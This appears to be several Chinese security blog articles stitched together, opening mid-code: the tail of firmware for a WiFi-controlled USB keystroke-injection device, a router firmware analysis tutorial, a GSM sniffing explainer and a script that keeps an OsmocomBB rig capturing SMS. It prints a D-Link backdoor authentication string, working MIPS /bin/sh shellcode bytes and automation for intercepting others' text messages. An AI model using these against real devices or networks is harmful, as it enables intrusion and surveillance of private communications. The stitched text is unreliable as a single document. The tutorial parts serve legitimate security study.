Keyboard.press(KEY_DOWN_ARROW); else if (b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW); else if (b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW); else if (b.equals("DELETE")) Keyboard.press(KEY_DELETE); else if (b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP); else if (b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN); else if (b.equals("HOME")) Keyboard.press(KEY_HOME); else if (b.equals("ESC")) Keyboard.press(KEY_ESC); else if (b.equals("BACKSPACE")) Keyboard.press(KEY_BACKSPACE); else if (b.equals("INSERT")) Keyboard.press(KEY_INSERT); else if (b.equals("TAB")) Keyboard.press(KEY_TAB); else if (b.equals("END")) Keyboard.press(KEY_END); else if (b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK); else if (b.equals("F1")) Keyboard.press(KEY_F1); else if (b.equals("F2")) Keyboard.press(KEY_F2); else if (b.equals("F3")) Keyboard.press(KEY_F3); else if (b.equals("F4")) Keyboard.press(KEY_F4); else if (b.equals("F5")) Keyboard.press(KEY_F5); else if (b.equals("F6")) Keyboard.press(KEY_F6); else if (b.equals("F7")) Keyboard.press(KEY_F7); else if (b.equals("F8")) Keyboard.press(KEY_F8); else if (b.equals("F9")) Keyboard.press(KEY_F9); else if (b.equals("F10")) Keyboard.press(KEY_F10); else if (b.equals("F11")) Keyboard.press(KEY_F11); else if (b.equals("F12")) Keyboard.press(KEY_F12); else if (b.equals("SPACE")) Keyboard.press(' '); //else Serial.println("not found :'"+b+"'("+String(b.length())+")"); } void setup() { Serial.begin(BAUD_RATE); ExternSerial.begin(BAUD_RATE); pinMode(13,OUTPUT); digitalWrite(13,HIGH); Keyboard.begin(); } void loop() { if(ExternSerial.available()) { bufferStr = ExternSerial.readStringUntil("END"); Serial.println(bufferStr); } if(bufferStr.length() > 0){ bufferStr.replace("\r","\n"); bufferStr.replace("\n\n","\n"); while(bufferStr.length() > 0){ int latest_return = bufferStr.indexOf("\n"); if(latest_return == -1){ Serial.println("run: "+bufferStr); Line(bufferStr); bufferStr = ""; } else{ Serial.println("run: '"+bufferStr.substring(0, latest_return)+"'"); Line(bufferStr.substring(0, latest_return)); last=bufferStr.substring(0, latest_return); bufferStr = bufferStr.substring(latest_return + 1); } } bufferStr = ""; ExternSerial.write(0x99); Serial.println("done"); } } 等提示 写入成功,把设备拔出,重新连接PC 7、如何使用它 这时用手机搜索WIFI会找到 WIFI:WIFI DUCK PASSWD:quackquack 打开浏览器,输入 http://192.168.4.1 进入管理地址 在这里,你可以上传,查看,删除和运行新的Ducky Scripts。 请注意,脚本的每行最大长度为600个字符。 如何写Ducky Scripts:https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript 8、通过Web界面更新ESP8266固件 如想更新固件,可以通过Web界面进行更新。 转到192.168.4.1/info并上传新的.bin文件 9、编译自定义固件 安装Arduino库 ESP8266 SDK ESPAsyncWebServer ESPAsyncTCP 打开Arduino点击 文件->首选线 http://arduino.esp8266.com/stable/package_esp8266com_index.json 添加上列代码到 附加开发板管理网址,然后点击 工具->开发板->开发板管理器 搜索 ESP 点击安装 然后下载 ESPAsyncWebServer 和 ESPAsyncTCP 在Arduino中点击 项目->加载库->添加一个.zip库 修改esp8266_wifi_duck\html\files下的文件,然后打开 minifier.html 点击 "minify + byte-ify"转换格式,并替换掉 data.h 里面的内容(这里提供下我汉化的中文WEB界面:点击下载) 然后在Arduino IDE中打开 esp8266_wifi_duck.ino 开发板选择:Generic ESP8266 Module Flash大小选择:4M (1M SPIFFS) 然后点击 项目->验证/编译 再点击 项目->导出已编译的二进制文件 10、制作过程视频(生肉) 11、参考资料 https://github.com/spacehuhn/wifi_ducky https://github.com/basic4/WiDucky http://www.cnblogs.com/k1two2/p/6849941.html(文章末尾有网友"g0ttl"的演示作品)
前言 本文可作为路由器安全的入门学习教程,一起学习从零基础从搭建环境开始入门路由器固件安全分析的技术。 搭建环境篇 演示系统:debian 3.16.0-4-686-pae 本篇重在演示路由器固件分析及运行环境,而对于工具各参数将不详细阐述其用法,这里只要能够成功搭建起来即可。 由于binwalk,qemu等工具目前只能在linux环境下运行,又比如需要wine运行32位IDA程序。故综合各方面,建议安装32位debian发行版本。 在安装各工具及依赖前更新/etc/apt/source.list,添加一行:deb http://us.archive.ubuntu.com/ubuntu saucy main universe,接着sudo apt-get update。以及安装build-essential:sudo apt-get install build-essential,它能够解决安装过程的复杂的依赖问题。 1.IDA pro 由于路由器提取的根文件系统有符号链接,在Windows下容易造成符号链接丢失,故在linux中安装IDA Pro,同时linux原生版本的IDA pro网上的版本过旧,所以采取wine运行Windows IDA Pro。安装wine,通过在终端输入如下命令: sudo apt-get install wine 选择在/opt目录下新建目录ida将Windows IDA Pro下所有文件一概都拷贝到该文件夹下。 同时idaq.exe和idaq64.exe均为32位可执行文件,这里也是安装32位Debian的原因。 由于后续会使用到IDA Pro的IDAPython插件,故还需要下载https://www.dllme.com/dll/download/14091/python27.dll(该下载地址来源于网络),并放置到ida根目录下。同时启动idaq.exe以如下方式启动:`export PYTHONPATH=/usr/lib/python2.7 && wine idaq`,当然可以写入/usr/bin中,以该脚本方式启动。 最后,对路由器分析还需要一些IDA插件的支持,terminal中输入git clone https://github.com/devttys0/ida.git,将整个目录中的py文件拷贝到/opt/ida/plugins中。此时启动后能够看到插件的生效如MIPS ROP Finder。 2.BinWalk 如kali中安装带有BinWalk,但是由于缺少依赖依赖,故无法对固件进行解包,先使用git进行下载:git clone https://github.com/devttys0/binwalk.git。 此时,仅可以对固件进行简单的扫描操作。 安装依赖可以通过binwalk根目录下的INSTALL.md依次进行安装或者以root身份运行deps.sh。 通过执行binwalk -Me 固件文件作为判断依赖是否安装成功的依据。 3.qemu qemu为模拟处理器的软件,通过git进行下载:git clone git://git.qemu-project.org/qemu.git。进入qemu下载目录。 执行如下命令 git submodule update --init pixman git submodule update --init dtc sudo apt-get install libglib2.0 sudo apt-get install libglib2.0-dev sudo apt-get install autoconf automake libtool 成功后进行配置并编译安装:sudo ./configure --static&&sudo make&&sudo make install。 对某固件bin目录下非符号链接的文件进行file命令,判断其指令集类型。 tophant@debian:~/IOT/backdoor/_w30xr_v3.1.201c_cn.bin.extracted/_40.extracted/_ramdisk.extracted/squashfs-root/bin$ file busybox busybox: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped 说明为mips小端格式(little endian),小端格式也可见固件分析篇一节。 在提取文件系统的bin目录中直接执行qemu-mipsel ls,将会报找不到库文件的错误。这其实是因为需要定位根目录到提取出文件系统的根目录中。 tophant@debian:~/IOT/backdoor/_w30xr_v3.1.201c_cn.bin.extracted/_40.extracted/_ramdisk.extracted/squashfs-root$ cp $(which qemu-mipsel) ./ sudo chroot . ./qemu-mipsel /bin/ls 将qemu-mispel拷贝到当前目录,为更改执行目录做准备,之后接着执行ls命令,可以看到能够将mipsel指令集的ls运行起来了。 4.交叉编译环境 后续过程中,涉及到编译编写存在漏洞的mips可执行文件及编写mips可用的shellcode,故需要在linux上搭建交叉编译环境。 wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2 tar -jxvf buildroot-snapshot.tar.bz2 完成下载及解压后,执行如下命令。 cd buildroot sudo apt-get install libncurses5-dev patch make clean make menuconfig 出现如下界面 以MIPS小端格式为例,进入target options->target architecture选择mips(little endian),target options->target architecture variant设置为MIPS。 进入toolchain将kernel headers中将其改为对应机器的内核版本。 由于测试机为3.16,故修改为低于此版本的headers。 执行sudo make进行编译,成功后在buildroot目录的/output/host/usr/bin下出现mipsel-linux-gcc。 同样,可以编写hello world程序使用mipsel-linux-gcc进行编译后,使用qemu-mipsel进行运行,其中mipsel-linux-gcc用法与gcc一致,读者可以自行运行一下。 5.系统环境网络配置 之前,已经通过qemu成功执行了一个mips程序,qemu还有一种模拟整个系统的模式。现在配置qemu虚拟机中的网络环境。 sudo apt-get install uml-utilities bridge-utils 后续步骤来源于参考资料,未能掌握这样配置的原因,但暂且按部就班进行操作。 向/etc/network/interfaces添加如下内容: auto lo iface lo inet loopback auto eth0 iface eth0 inet manual up ifconfig eth0 0.0.0.0 up auto br0 iface br0 inet dhcp bridge_ports eth0 bridge_stp off bridge_maxwait 1 在/etc/qemu-ifup中写入如下内容: #!/bin/sh echo "executing /etc/qemu-ifup" echo "bringing up $1 for bridged mode..." sudo /sbin/ifconfig $1 0.0.0.0 promisc up echo "adding $1 to br0..." sudo /sbin/brctl addif br0 $1 sleep 2 保存退出后使用chmod a+x为其加上可执行属性。输入sudo service networking restart重启网络使设置生效。sudo ifdown eth0&sudo ifup br0。此时演示环境的网络情况如下: 现在,需要下载内核文件和磁盘镜像。进入people.debian.org/~aurel32/qemu/即可,小端格式MIPS则为下载vmlinux-2.6.32-5-4kc-malta和debian_squeeze_mipsel_standard.qcow2。 执行如下命令。 sudo qemu-system-mipsel -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console==ttyS0" -net nic,macaddr=00:10:10:10:10:10 -net tap -nographic 进入后默认密码为root/root,登录后编辑/etc/network/interfaces,加入如下内容: auto lo iface lo inet loopback # The primary network interface allow-hotplug eth1 iface eth1 inet dhcp ifup eth1 启用eth1接口,现在mips虚拟机网络信息如下图。 至此,常用的路由器固件分析工具均已搭建且配置完毕。 指令分析篇 为了不在分析固件的过程中,避免反复说明同一类问题的情况,本篇将会把涉及的mips汇编指令及特性等相关内容进行汇总加以说明。 目前,路由器多为使用mips32指令集的linux,掌握mips32汇编在逆向分析路由器固件中显得格外重要。总体来说,其属于risc精简指令集,每条指令为4字节定长。 1.寄存器 mips32中存在32个通用寄存器,每个寄存器长度均为32位,具体可见下表。 除了通用寄存器,还有几个特殊寄存器\$pc(程序计数器),\$hi(乘法高位存放,除法余数存放),\$lo(乘法低位存放,除法商存放)。 2.常见指令 mips32指令编码类型: (1)6bit 操作码+5bit源操作数+5bit第二源操作数+5bit目的操作数+5bit位移量+6bit函数码 (2)6bit操作码+5bit源操作数+5bit第二源操作数+16bit立即数 (3)6bit操作码+26bit地址 算术类: 因为受到risc指令定长的影响,对于mips32来说所有操作数不能使用内存寻址方式。对于add(i)(u)/sub(i)(u)加减类操作使用3个操作数,对于使用立即数的运算立即数大小不能超过16bit的表示。div/mul指令由于结果保存在特殊寄存器\$hi和\$lo中,所以使用2个操作数即可。 load/store类: load对应其汇编指令中l开头的指令如lb,lw,la等等,作用为将寻址内容或是立即数读入寄存器。相应地,store为s开头如sb,sw等等将制定长度内容存入内存地址中。 跳转指令: 均为无条件跳转。j target为跳转到target表示的地址,jr \$reg如jr \$ra常常被用于函数返回,jal target代表junp and link将下一指令位置存入\$ra并跳转到$ra。 其使用(3)型指令,故可以寻址26bit地址即256mb。 分支跳转指令: b target无条件跳转到target,beq \$reg1,\$reg2,target为\$reg1=\$reg2时跳转到target。同样地,beq后的eq可以被替换包括lt(小于),le(小于等于),ne(不等于),ge(大于等于),gt(大于)。 syscall: 完成系统调用,\$v0存放系统调用号,一般情况下,\$a0-\$a3存放参数,系统调用返回时\$v0存放返回值,如若出错则在\$a3中存放错误编号。 3.特性 寻址方式: 包括立即数寻址,寄存器寻址,寄存器相对寻址(寄存器和16位立即数相加后寻址),pc相对寻址:pc寄存器和16位立即数左移2位后运算寻址。 内存表示方法: 正如环境搭建出现的mipsel(little-endian),这里以举例方式来说明。如0x12345678早大端和小端方式存放的区别。从低地址到高地址表示大端存放字节为0x12,0x34,0x56,0x78,小端方式从低地址到高地址为0x780x56,0x34,0x12。 流水线特性: 也被称为分支延迟槽 ,与时钟周期等有关,如jal在完成函数调用前jal的后一条指令已经被执行。 后门分析篇 本节将通过逆向分析一个实际路由器后门漏洞问题,在此同时巩固指令分析篇的知识。 2014-02-10,CNCERT在http://www.cert.org.cn/publish/main/9/2014/20140429121938383684464/20140429121938383684464_.html 一文中通报了多个路由器的后门漏洞,其中包括D-LINK路由器的一个后门漏洞。 固件可以通过ftp://ftp.dlink.eu/Products/dir/dir-100/driver_software/DIR-100_fw_reva_113_ALL_en_20110915.zip进行下载。 首先,需要将固件的文件系统提取出来,使用环境搭建中安装的binwalk工具进行提取。输入命令:binwalk -Me DIR100_v5.0.0EUb3_patch02.bix,其中-e代表根据配置文件从固件中提取文件系统,-M代表根据进行递归提取。 成功提取后,进入提取文件系统目录 的bin目录下。同时,由于该后门的描述为:攻击者通过修改User-Agent 值为“xmlset_roodkcableoj28840ybtide”(没有引号)即可绕过路由器Web认证机制取得后台管理权限。故推测该后门与路由器的web server程序有关,在该目录下对文件名作为简单的判断依据,故对webs文件进行逆向分析。 根据file命令得知其为大端mips32格式的可执行文件。 tophant@debian:~/IOT/backdoor/_DIR100_v5.0.0EUb3_patch02.bix.extracted/squashfs-root/bin$ file webs``webs: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped 根据公告信息得知,在IDA Pro字符串窗口搜索字符串:xmlset_roodkcableoj28840ybtide。 根据交叉引用位置发现该字符串被出现在alpha_auth_check函数中。 可以看到这个字符串和$s0+0xd0处内容当strcmp匹配成功,则会v1=1,转入loc_423edc。 这里也就是check成功的返回值。也就是之前设置的1。 而s0就是a0,传递的第一个参数。 依次向上找调用处。 函数简化的为调用流程httpd_parse_request->alpha_httpd_parse_request->alpha_auth_check。在httpd_parse_request中看到结构体0xd0偏移处 的设置。这里对应user-agent域的内容。这里验证了确实是user-agent为该值进行验证。 继续看上层函数会判断alpha_auth_check返回值与-1的值。同时注意这里延迟槽的处理。 成功传入http_request_t*内容等调用do_xgi处理请求。 验证不通过则重定向到/public/login.htm。 这一步验证了为该特殊值通过验证不会被重定向到登录页面的情况。最终确定该后门漏洞细节与描述一致。 漏洞利用基础篇 1.基本溢出原理 本篇将介绍如何编写基础功能的shellcode中的payload,如ctf pwn中常常会使用到的执行/bin/sh。因本篇做基础技术介绍,至于其他更为复杂的payload编写及实际二进制漏洞利用将在后续依次介绍。 mips与x86函数调用存在比较大的差别,从如下几点进行描述。 叶子函数:内部不再调用其他函数的函数称为叶子函数,相反称为非叶子函数。 先来分析如超过4个参数传递的非叶子函数调用。 高地址到低地址依次为当前函数的寄存器备份和局部变量,参数x-参数1(参数4-参数1预留),当前函数返回用的地址,调用函数的寄存器备份及局部变量。。。。。。依次类推。叶子函数和非叶子函数根据之前的描述可知其决定如何返回到上层函数。故讨论覆盖返回地址问题时需要分开讨论。 由于这里的non_leaf会调用strcpy所以其是一个非叶子函数,可以看到var_4位置是返回\$ra存放的位置。而var_20是strcpy的目的地址,这里存在栈溢出漏洞是可以覆盖掉var_4控制返回地址 的。 对于叶子函数,这类情况返回地址不会暂存在栈中,所以其通过$ra进行函数返回。此时就需要满足溢出空间足够,来覆盖上层函数存放返回地址的区域,因为上层函数必定是一个非叶子函数。 2.基本payload编写方法 在mips32-linux的payload编写,不可避免的使用到syscall系统调用。正如固件分析篇中所描述的,\$v0作为系统调用号,$a0-\$a3作为传递参数。 首先,不同系统调用对应不同的系统调用号及参数,故需要完成确定系统调用号的工作。为了确定系统号,进入使用者的buildroot目录(为搭建环境中的交叉编译安装目录),如进入/home/tophant/buildroot/output/build/linux-headers-3.12.74/usr/include/asm,查看unistd.h头文件,演示的对应大端mips-libnux的头文件,不过对于小端mips-linux来说应该保持一致。如下为该 文件的简单片段。 Linux o32 style syscalls are in the range from 4000 to 4999. #define __NR_Linux 4000 #define NR_syscall (NR_Linux + 0) #define NR_exit (NR_Linux + 1) #define NR_fork (NR_Linux + 2) #define NR_read (NR_Linux + 3) #define NR_write (NR_Linux + 4) #define NR_open (NR_Linux + 5) #define NR_close (NR_Linux + 6) #define NR_waitpid (NR_Linux + 7) #define NR_creat (NR_Linux + 8) #define NR_link (NR_Linux + 9) #define NR_unlink (NR_Linux + 10) ...... #define NR_prlimit64 (NR_Linux + 338) #define NR_name_to_handle_at (NR_Linux + 339) #define NR_open_by_handle_at (NR_Linux + 340) #define NR_clock_adjtime (NR_Linux + 341) #define NR_syncfs (NR_Linux + 342) #define NR_sendmmsg (NR_Linux + 343) #define NR_setns (NR_Linux + 344) #define NR_process_vm_readv (NR_Linux + 345) #define NR_process_vm_writev (NR_Linux + 346) #define NR_kcmp (NR_Linux + 347) #define NR_finit_module (NR_Linux + 348) 可知,对于mips32来说syscall的功能号范围为4000到4348。比如#define NR_execve (NR_Linux + 11)代表execve的调用号为4011。 那么,现在便动手编写一个运行linux shell的payload,对应linux中的函数为execve。首先通过man查看该函数的简要说明,以便确定系统调用时的参数。 NAME execve - execute program SYNOPSIS #include int execve(const char filename, char const argv[],char *const envp[]); 可知,只需要向filename填充"/bin/sh"来完成,argv,envp填写NULL即可。 如下为使用mips32汇编语言编写的代码。 .section .text .globl shellcode_execve .set noreorder shellcode_execve: addiu \$sp,\$sp,-32 jal alpha nop alpha: addiu \$a0,\$ra,20 li \$a1,0 li \$a2,0 li \$v0,4011 syscall variables: .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 .section .text代表为代码段;.globl shellcode_execve代表程序主函数入口根据shellcode_execve标识;.set noreorder与流水线机制相关,为了代码被重新编排故加上本句宏. shellcode_execve使用jal指令,这将会把alpha的运行时地址存入\$ra中,目的为能够动态定位到variables标识的地址初,避免不同运行环境下的不同地址问题,也被称为代码重定位技术。而nop一句为流水线机制留空。addiu \$a0,\$ra,20为定位到variables,\$ra运行时为alpha的地址,而mips32为risc,指令为定长4字节,可以计算出到该字符串的距离4x5=20,接着就是参数2,3设置,现设置为NULL。最后完成调用号为4011(execve)的系统调用,最后紧跟/bin/sh字符串。 编译并链接使用如下指令,同样用到交叉编译工具buildroot。 tophant@debian:~/buildroot/output/host/usr/bin$ ./mips-linux-as /home/tophant/IOT/source/shellcode_execve.S -o /home/tophant/IOT/source/shellcode_execve.o tophant@debian:~/buildroot/output/host/usr/bin$ ./mips-linux-ld /home/tophant/IOT/source/shellcode_execve.o -o /home/tophant/IOT/source/shellcode_execve ./mips-linux-ld: warning: cannot find entry symbol __start; defaulting to 00000000004000d0 该mips32汇编编写已结被成功运行。现在需要将编写的shellcode提取出来。首先通过readelf读取节头表。 可以看到起始于0x4000d0,大小为0x30。进入ida在反汇编窗口找到对应位置,单击0x4000d0,进入hex-view。 灰色区域就是待提取的shellcode。 E0 FF BD 27 37 00 10 0c 00 00 00 00 14 00 E4 27 00 00 05 24 00 00 06 24 AB 0F 02 24 0C 00 00 00 2F 62 69 6E 2F 73 68 00 00 00 00 00 00 00 00 00 例如存在使用strcpy的溢出漏洞,完整的payload将会被\x00截断,故需要将\x00坏字符剔除。 \x37\x00\x10\0c jal alpha \x00\x00\x00\x00 nop \x14\x00\xe4\x27 addiu \$sp,\$sp,-32 \x00\x00\x05\x24 li \$a1,0 \x00\x00\x06\x24 li \$a2,0 如上汇编指令均需要被调整为不带\x00的指令。 .section .text .globl __start .set noreorder __start: addiu \$sp,\$sp,-32alpha2:li \$a2, 0x1111bltzal \$a2, alpha2lui \$a1, 0x101alpha:addiu \$a0,\$ra,1025addiu \$a0,\$a0,-1001slti \$a1, \$zero, -1slti \$a2, \$zero, -1li \$v0,4011syscall 0x1111 variables: .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 根据参考,jal alpha调整为li \$a2,0x1111;bltzal \$a2,alpha2这样保证alpha在当前调整链接的上方不会因为payload长度原因导致跳转高8位为0x00。 nop指令在x86下为\x90,而在mips32下为\x00\x00\x00\x00,所以使用不影响payload运行的无效指令替代nop,lui \$a1,0x0101。 \x14\x00\xe4\x27一句中可以看到低2字节和调整堆栈位置大小有关。所以通过先加一个16进制的3位数,再相应前去对应大小即可,同时保证不含\x0001103。如addiu \$a0,\$ra,1025,addiu \$a0,\$a0,-1001。 li \$a1,0调整为slti \$a1,\$zero,-1,因为0寄存器总小于1,\$a1一定会被置为0。同理调整 li \$a2,0为slti \$a2,\$zero,-1。 最后,重构payload需要调整重定位的偏移。 可以观察到所有的\x00都被剔除了。至此以\x00为坏字符的修正过程完毕。 以上均是shellcode的编写技术的基础概览,在实际运用中还需要根据特定条件进行一定的转换。 参考资料 1.揭秘家用路由器0day漏洞挖掘技术——吴少华 2.详细的路由器漏洞分析环境搭建教程——伐秦 3.Reported Vulnerability - D-Link routers authenticate administrative access using specific User-Agent string
软件定义无线电(SDR)是一种无线电通信系统,简单来说,就是通过数字信号处理技术在通用可编程数字信号处理硬件平台上,利用软件定义来实现无线电台的各单元功能,从而对无线电信号进行调制、解调、测量。SDR架构放弃了传统无线电电路中所有的硬件单元,包括变频、混频、滤波器、放大器、检波器、解调器等,所有的处理,包括混混频,滤波,解调等都是用软件来完成的,完全是一种新的架构和技术。 其实,SDR技术和架构的无线电产品在军用和商用无线电领域早已广泛使用,近年来SDR技术已经被应用到了与大众接触最为密切的移动电话中了。 使用SDR嗅探监听GSM网络的通信流量已经不是什么新鲜事了,只要调到到特定频率时,我们就可以使用SDR来捕获无线电波。可捕获的频率范围和带宽随不同的SDR设备而不同。本文中,我们将使用最便宜的RTL-SDR来嗅探GSM,RTL-SDR 是一个低廉的家用消费档次的 DVB-T USB 接口的接收机,这些 DVB-T 接收机基于 Realtek 的 RTL2832U 芯片外加一个诸如 Elonics E4000 一类的高频头而构成,价格低廉到 20 到 25 美元的 RTL-SDR,它们无疑是目前最低廉的SDR硬件设备。 在详细介绍之前,首先看看不同的GSM频段。GSM是由国际电信联盟指定的一组由GSM手机运行的预定频率进行的操作。 从上图可以看出,标注黄色的那两个频段正是印度所使用的GSM,但900频段的使用国家为8个,1800频段的使用国家为3个,这意味着其手机用户要和其他国家的用户共同使用同一频段。 为了嗅探到GSM,我们首先需要识别GSM下行链路信道,这样就需要知道你的手机正在运行的频率,你可以通过获得手机的绝对无线频道编号 (Absolute Radio Frequency Channel Number -ARFCN )来获得它。 ARFCN,是在GSM无线系统中,用来鉴别特殊射频通道的编号方案,阐述了GSM 无线网络系统的Um 接口上的两个物理无线电系统链路和通道。一个用于上行链路信号,一个用于下行链路信号。 下面以我使用的摩托罗拉G4为例来进行实例说明,在这款手机中,我可以通过在手机键盘上拨*#*#4636#*#*来获得服务模式。由于对2G(GSM简称2G)的分析要比3G或4G要容易得多,所以我将手机切换到2G模式,分析如下所示。 从上图的画红框的部分可以看出,我的ARFCN号是672,这样就可以使用ARFCN号码来计算出我的手机运行的确切频率。通过使用简单的ARFCN计算器,就可以知道我的手机正在运行的频率。 现在,让我们将RTL-SDR调整到特定频率,并找出我们需要看到的内容。 我们可以清楚地看到该频率上的GSM数据流,除此之外,我们还会扫描相关的所有GSM频率,以便我们确认下行链路信道。推荐大家使用kalibrate-rtl工具来扫描相关的GSM频率。 从上图中,可以看到我的手机的下行链路信道,同时,kalibrate-rtl也给我们算出了偏移值,这将有助于你更好地校准你的SDR。 由于SDR接收的数据只是原始数据,所以没有什么实际意义。我们可以使用GR-GSM来解码这些原始数据,并将其处理成有意义的信息。 与此同时启动wireshark,这样我们就将开始在wirehark中看到GSM数据包,我们也可以过滤出Gsmtap数据包。 如上图所示,这是一个系统信息类型3数据包。由于MS在空闲模式下,与网络设备间的联系是通过广播的系统消息实现的。所以借助这个数据包,网络设备向MS广播系统消息,使得MS知道自己所处的位置,以及能够获得的服务类型,在广播的系统消息中的某些参数还能用于MS的小区重选。 由于A5算法是一种序列密码,它是欧洲GSM标准中规定的加密算法,用于数字蜂窝移动电话的加密,加密从用户设备到基站之间的链路。A5算法包括很多种,主要为A5/1和A5/2。其中,A5/1为强加密算法,适用于欧洲地区;A5/2为弱加密算法,适用于欧洲以外的地区。所以我们只能看到一些没有加密过的控制通道。 AUC(鉴权中心)是GSM系统中的安全管理单元,存储鉴权算法和密钥,保证各种保密参数的安全性,向HLR(归属用户位置寄存器)提供鉴权参数。存储用以保护移动用户通信不受侵犯的必要信息。AUC一般与HLR合置在一起,在HLR/AUC内部,AUC数据作为部分数据表存在。鉴权参数包括三组:RAND(Random Number,随机数),SRES(Sign Response,符号响应),Kc(Ciphering Key,加密密钥)。 不过由于 Ki或Kc永远不会通过网络进行交换,因此无法通过空中嗅探加密密钥。此外,Kc会在每次呼叫设置之前更改。这意味着每呼叫一次,就会出现一次不同的加密密钥。如果我们有足够强的计算能力,旧版本的A5可能就会被破解。目前已有研究已经通过在云计算中建立了整个流程来破解A5 / 1加密, Kraken是可以用于此的一个工具。 我们无法使用RTL-SDR捕获语音数据,因为在通话期间,会发生信道跳频,而RTL-SDR的带宽不足以一次捕获整个范围。所以,我们需要一个更好的SDR,要具有更多的带宽,如HackRF或任何SDR设备。HackRF是一款由Michael Ossmann发起的开源软件无线电外设,支持从30MHz到6GHz,最大带宽20MHz。 我们的电话是如何被嗅探到的? 1.加密算法的降级 由于许多旧的手机没有足够的计算能力来使用新的加密算法,所以为了维持它们的运行,运营商必须支持旧的加密算法,这就造成了即使我们想使用强大的加密算法但迫于现实,也会被切换到较弱的加密算法。 2. 有意关闭加密方案 在电信安全漏洞评估中,我们发现有时运营商在网络上的负载增加时会完全关闭加密方案,从而降低流量的加载,以便可以轻松容纳更多的用户。 3. 中间人攻击 中间人攻击者可以创建伪造的手机发射塔,让附近的移动用户使用发射塔,这样就可以迫使MS根本不使用加密。 4.获取sim卡的加密认证 在2015年,有消息说,美英间谍机构曾入侵世界最大SIM卡制造商金雅拓(Gemalto)公司,盗取加密密钥,以便在未获得许可的情况下获取手机通信信息。
C118+Osmocom-bb 多机 gsm sniff环境,经常发生工作一段时间后,某个手机监听的arfcn就不工作了。 检查日志发现,日志最后有连续的多条:TOA AVG is not 16 qbits, correcting (got 15),然后日志就一动不动了,无法再继续抓取sms,只能重启obb程序。 不清楚这是obb的程序bug,还是基站每天不定时调整( 某些arfcn,并不是一天24小时都工作的,有时会断那么一小会儿 )导致的。 重启obb程序的过程不算复杂,无非是先刷机(我没试过硬刷),再监听。 可以在smsweb里专门写一个方法,结合Python+shell命令定期(30秒)去检测日志(使用tail和diff命令),当判断obb工作不正常时,重新刷机(全自动刷机硬件改造方法参考置顶文章),起动监听程序。 参考代码如下: def monitor_log(): mysql = Database() while True: print("monitor log:") getusb = subprocess.Popen(["./osmocom-bb/getusb.sh"],stderr=subprocess.PIPE,stdout=subprocess.PIPE) usbResult = getusb.communicate() getusb.wait() device = re.findall(r'\d',usbResult[0])[0] #find arfcn str_sql = "SELECT * FROM sniff limit 0," + str(device) data = mysql.query(str_sql) for row in data: arf = str(row['arfcn']) power = str(row['power']) sptype = str(row['sptype']) tty = str(row['tty']) counter = 0 command = 'tail -n3 ./download_'+ tty +'.log' textlist = os.popen(command).readlines() for line in textlist: if "AVG" in line: print("find got 15 in log! dangerous!") counter = counter + 1 #logger.info("AVG counter:" + str(counter) + " " + str(tty) + " arfcn:" + str(arf) ) if int(counter) == 3: print("found 3 got 15! restart osmocon and sniff!") #cur_time = time.strftime('%Y/%m/%d %H:%M:%S',time.localtime(time.time())) logger.info("got 15 mon:" + str(tty) + " arfcn:" + str(arf) ) ps1=Process(target=download1,args=(str(tty),)) ps1.start() ps1.join(10) #time.sleep(10) ps2=Process(target=sniff,args=(str(tty),str(arf),)) ps2.start() ps2.join(30) #time.sleep(30) #subprocess.Popen("./osmocom-bb/test.sh",shell = True) # 检测文件是否有变动 cur_log = "download_" + tty + ".log" old_log = cur_log + ".old" getdiff = subprocess.Popen(["./diff.sh",cur_log,old_log],stderr=subprocess.PIPE,stdout=subprocess.PIPE) diffResult = getdiff.communicate() getdiff.wait() diff_ret = re.findall(r'\d',diffResult[0])[0] #logger.info("logchange mon:" + str(tty) + " arfcn:" + str(arf) + " diff_ret:" + str(diff_ret)) if int(diff_ret) == 0: # print("log not change in 30secs! restart osmocon and sniff!") # #cur_time = time.strftime('%Y/%m/%d %H:%M:%S',time.localtime(time.time())) logger.info("log diff:" + str(tty) + " arfcn:" + str(arf) ) ps1=Process(target=download1,args=(str(tty),)) ps1.start() ps1.join(10) #time.sleep(10) ps2=Process(target=sniff,args=(str(tty),str(arf),)) ps2.start() ps2.join(30) #time.sleep(30) #subprocess.Popen("./osmocom-bb/test.sh",shell = True) time.sleep(30) diff.sh: #!/bin/bash #diff ./download_0.log ./download_0.log.old diff $1 $2 >> diff_$1 #echo $? if [ $? = 0 ];then #echo "没区别" echo "0" else #echo "文件有变动" rm -fr $2 cp $1 $2 #echo "文件同步成功" echo "1" fi 说明: 1. 当日志里连续三行的日志都出现AVG关键字时,就认为obb工作不正常了,果断重新刷机监听。 2.当日志过了30秒后内容还和30秒前一样时,也是不正常的,重新刷机监听。
